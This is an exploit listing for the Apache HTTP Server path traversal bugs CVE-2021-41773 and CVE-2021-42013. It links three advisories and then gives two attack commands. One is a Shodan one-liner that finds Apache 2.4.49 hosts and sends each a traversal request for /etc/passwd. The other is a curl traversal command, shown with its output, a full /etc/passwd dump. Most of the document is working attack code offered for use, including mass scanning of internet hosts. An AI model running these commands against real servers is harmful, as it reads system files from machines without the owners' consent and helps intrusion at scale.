Exploit for Path Traversal in Apache Http Server CVE-2021-41773 CVE-2021-42013

Name: Exploit for Path Traversal in Apache Http Server CVE-2021-41773 CVE-2021-42013
Rating: 5 (114 reviews)
2021-10-07 | CVSS 7.5
## https://sploitus.com/exploit?id=A3F15BCE-08AD-509D-AE63-9D3D8E402E0B
# CVE-2021-41773
- [CVE-2021-41773: Path Traversal Zero-Day in Apache HTTP Server Exploited](https://www.tenable.com/blog/cve-2021-41773-path-traversal-zero-day-in-apache-http-server-exploited)
- [Apache HTTP Server CVE-2021-41773 Exploited in the Wild](https://www.rapid7.com/blog/post/2021/10/06/apache-http-server-cve-2021-41773-exploited-in-the-wild/)
- [CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773)](https://seclists.org/oss-sec/2021/q4/20)

## Shodan oneliner
```bash
shodan search Apache Server 2.4.49 | awk '{print $1":"$2}' | while read host do ; do curl --silent --path-as-is --insecure "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" | grep "root:*" && echo "$host \033[0;31mVulnerable\n" || echo "$host \033[0;32mNot Vulnerable\n";done
```
## Path Traversal via curl
```bash
curl -s --path-as-is "http://iptarget:80/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
```
output
```bash
curl -s --path-as-is "http://iptarget:80/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:998:995::/var/lib/chrony:/sbin/nologin
centos:x:1000:1000:Cloud User:/home/centos:/bin/bash
mysql:x:997:994:MySQL server:/var/lib/mysql:/sbin/nologin
[REDACTED]
```